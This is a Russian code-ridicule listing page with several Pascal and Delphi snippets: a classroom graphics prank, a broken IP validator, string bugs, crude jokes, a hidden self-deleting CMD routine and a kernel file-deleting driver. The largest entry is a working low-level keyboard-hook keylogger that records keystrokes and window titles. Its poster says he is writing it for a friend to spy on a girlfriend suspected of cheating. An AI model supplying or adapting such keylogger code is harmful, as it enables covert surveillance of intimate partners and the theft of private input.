1. Pascal / Говнокод #25335

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    Program Aliski; 
uses Graphabc; 
begin 
SetWindowWidth(800); 
SetWindowHeight(600); 
SetPenWidth(3); 
SetFontSize(18); 
SetFontColor(clGreen); 
rectangle(85,80,500,140); 
TextOut(100,100,'Алексей у тебя реально 10см?'); 
Circle(350,500, 40); 
Circle(430,500, 40); 
FloodFill(350,500,clSkyBlue); 
FloodFill(430,500,clPurple); 
Line(350,460,350,250); 
Line(430,460,430,250); 
Line(340,250,440,250); 
Line(390,220,390,200); 
Arc(390,250,50,0,180); 
end.

    Ученик решил поприкалываться над товарищем на уроке

    vodandr, 28 Января 2019

    Комментарии (58)

  2. Pascal / Говнокод #25044

    −102

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    procedure SelfDelete;
var
  S,SS:string;
begin
  SS:=ParamStr(0);
  S:='/c for /L %f in (1,1,100000) do if exist("'+SS+'") del /q /f^"+SS+" else exit';
  ShellExecute(0, nil, 'CMD', @S[1],nil, SW_HIDE);
  FatalAppExit(0,"Админ, забань борманда")
end;

    Великий конспиратор продакшн.

    blackray, 01 Ноября 2018

    Комментарии (69)

  3. Pascal / Говнокод #25038

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    unit ZwDeleteFileSample;

interface

uses Windows, nt_status, native, hal, fcall, macros, ntoskrnl;

function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;

implementation

procedure DriverUnload(pDriverObject: PDriverObject); stdcall;
begin
  DbgPrint('Test Driver :: Unloaded');
end;

function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
var UNICODESTRING: UNICODE_STRING;
  obj: OBJECT_ATTRIBUTES;

begin

  DbgPrint('Test Driver :: Loaded');
  DriverObject^.DriverUnload := @DriverUnload;

  RtlInitUnicodeString(UNICODESTRING, '\??\C:\test.exe');
  InitializeObjectAttributes(obj, @UNICODESTRING, OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, 0, nil);
  Result := ZwDeleteFile(@obj);

  if Result = STATUS_SUCCESS then
  begin
    DbgPrint('File deleted sucessfully - Result:0x%.8X', Result); // Result to get Error Code
  end else
  begin
    DbgPrint('Fail to delete file - Result:0x%.8X', Result); // Result to get Error Code
    DbgPrint('Object name :%wZ',  obj.ObjectName); // Result to get Error Code
  end;
  Result := STATUS_SUCCESS;

end;

end.

    Драйвер на дэлфи. Ничего необычного, листайте дальше.

    blackray, 29 Октября 2018

    Комментарии (10)

  4. Pascal / Говнокод #24872

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    procedure TMainForm.FormCreate(Sender: TObject);
var
  s : String;
  reg : TRegistry;
begin
  SetLength (s, Max_Path);
  SHGetSpecialFolderPath (0, PChar(s), CSIDL_COMMON_APPDATA, false);
  AppDataPath := s + '\Test\';
  ShowMessage (AppDATAPath);
end;

, где AppDataPath : string;
Только вот в AppDataPath находиться только S, а должно быть s + '\Test\'
Вопрос: Почему?
Заранее благодарен



Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать. Нужно делать так:

Код:
var
  s : array[ 0..MAX_PATH ] of Char;
  reg : TRegistry;
begin
  s[ 0 ] := #0;
  SHGetSpecialFolderPath (0, s, CSIDL_COMMON_APPDATA, false);
  AppDataPath := s + '\Test\';
  ShowMessage (AppDATAPath);
end;

http://www.programmersforum.ru/showthread.php?t=84319

    @Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать.
    Ахуенно крутой спец по строкам.

    Кстати, https://primechaniya.ru/home/news/oktyabr-2018/v-tatarstane-18-podrostkov-otravilis-kitajskimi-duhami/

    BagorCtretora, 08 Октября 2018

    Комментарии (66)

  5. Pascal / Говнокод #24859

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;

interface

uses Windows, SysUtils, Messages;

const
  WH_KEYBOARD_LL = 13;
  LLKHF_UP = $0080;

type
  TKbdHookEvent=procedure (S:WideString);

type
  PKbdDllHookStruct = ^TKbdDllHookStruct;
  TKbdDllHookStruct = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  KBDLLHOOKSTRUCT = TKbdDllHookStruct;

implementation

var
  KbdProc:TKbdHookEvent=nil;
  Hook:HHOOk;
  WinTitle:WideString='';

function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
  KeyName:WideString;
  CurrWinTitle:WideString;
  KeyState : TKeyboardState;
  hklLayout:HKL;
  FW:HWND;
begin
   try
    if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
    begin
      FW:=GetForegroundWindow;
      hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
      GetKeyboardState(KeyState);
      SetLength(CurrWinTitle, 1000);
      SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
      with PKbdDllHookStruct(LParam)^ do
      case vkCode of
        VK_BACK:     KeyName := '[BackSpace]';
        VK_TAB:      KeyName := '[Tab]';
        VK_CAPITAL:  KeyName := '[CapsLock]';
        VK_RETURN:   KeyName := '[Enter]';
        VK_ESCAPE:   KeyName := '[Esc]';
        VK_CANCEL:   KeyName :=  '[Cancel]';
        VK_F1:       KeyName := '[F1]';
			{...}
        VK_HELP:     KeyName := '[Help]';
      else
        SetLength(KeyName,1);
        KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
        KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
        if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
        KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
      end;
      if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
      if WinTitle='' then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:=CurrWinTitle+' {'#13#10+KeyName;
      end
      else if WinTitle <> CurrWinTitle then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
      end;
      KbdProc(KeyName);
    end;
  finally
     Result := CallNextHookEx(Hook,nCode,wParam,lParam);
  end;
end;

function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
  if Assigned(lpCallBack) then
  KbdProc:=lpCallBack;
  Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
  Result:=(Hook <> INVALID_HANDLE_VALUE);
end;

function RemoveHook:Boolean;
begin
   Result:=UnHookWindowsHookEx(Hook);
end;

  exports SetHook,
   RemoveHook;
end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    BagorCtretora, 04 Октября 2018

    Комментарии (126)

  6. Pascal / Говнокод #24826

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    {$APPTYPE CONSOLE}
Procedure G(p: pointer);
Const
    Messages: array[false..true] of string = ('Не гниль', 'Гниль');
Begin
    Writeln(Messages[p=nil])
End;

Begin
    G(nil)
End.

    https://ideone.com/XWhPQf

    nu3gELL, 27 Сентября 2018

    Комментарии (28)

  7. Pascal / Говнокод #24816

    −1

    1. 1
    2. 2
    3. 3
    4. 4
    procedure ChangeChar(var c: char; val: char);
begin
  c := val;
end;

    Это из модуля PABCSystem. Но зачем?

    Morgoth, 26 Сентября 2018

    Комментарии (14)

  8. Pascal / Говнокод #24429

    −3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    30 июня 2012 года Михаилу Подивилову (mihip, podivilov) пришла в голову создать свою систему счисления WCT. 
Напоминаю, что цифры WCT ABCDEFGHIJKLMNPO соответствует цифрам HEX 0123456789ABCDEF соответственно. 
А реализация компилятора была написана на Embarcadero Delphi. 

Стертор, не ты ли это?

    dm_fomenok, 29 Июня 2018

    Комментарии (41)

  9. Pascal / Говнокод #24333

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    uses crt;
var i,pc2,vc2,tc2,chc2,q,pc,vc,tc,chc,kvt,k,a,b,c,d,t1,t2,t3:integer;
pc1,vc1,tc1,chc1,n,n1,n2:string;
begin
clrscr;
read (n);
n1:=n;
n2:=n;
a:=pos('.',n)+1;{a-nachalo vtorogo chisla}
t1:=pos('.',n);
delete (n,a-1,1);{ybrali iz IP pervuu tochky}
b:=pos('.',n)+2;{b-nachalo tret'ego chisla}
t2:=pos('.',n);
delete (n,b-2,1);{ybrali iz IP vtoruu tochky}
c:=pos('.',n)+3;{c-nachalo chetvertogo chisla}
t3:=pos('.',n);
delete (n,c-3,1);{ybr III tochky}
pc1:=copy(n2,1,a-2);{str chislo 1}
vc1:=copy(n2,a,((t2)-(length(pc1)+1))); {str chislo 2}
q:=t3-length(pc1)-length(vc1)-1;
tc1:=copy(n2,b,q);
q:=length(n2)-length(pc1)-length(vc1)-length(tc1);
chc1:=copy(n2,c,q);
val (pc1,pc2,d);
val (vc1,vc2,d);
val (tc1,tc2,d);
val (chc1,chc2,d);
for i:=1 to length(n) do
begin
if n2[i]='.' then kvt:=kvt+1;
if La-La-La
then
write ('1')
else
write ('0');
repeat until keypressed;
end.

    Определяем правильный ли IP-адрес...

    Verenick, 28 Мая 2018

    Комментарии (20)

  10. Pascal / Говнокод #24233

    −1

    1. 1
    2. 2
    3. 3
    Стертор, ты вообще пишешь полезный код (хотя бы на Delphi) или
занимаешься только тем, что постишь на говнокод советы по 
использованию камерунских пенисов на основании своего личного опыта?

    dm_fomenok, 07 Мая 2018

    Комментарии (69)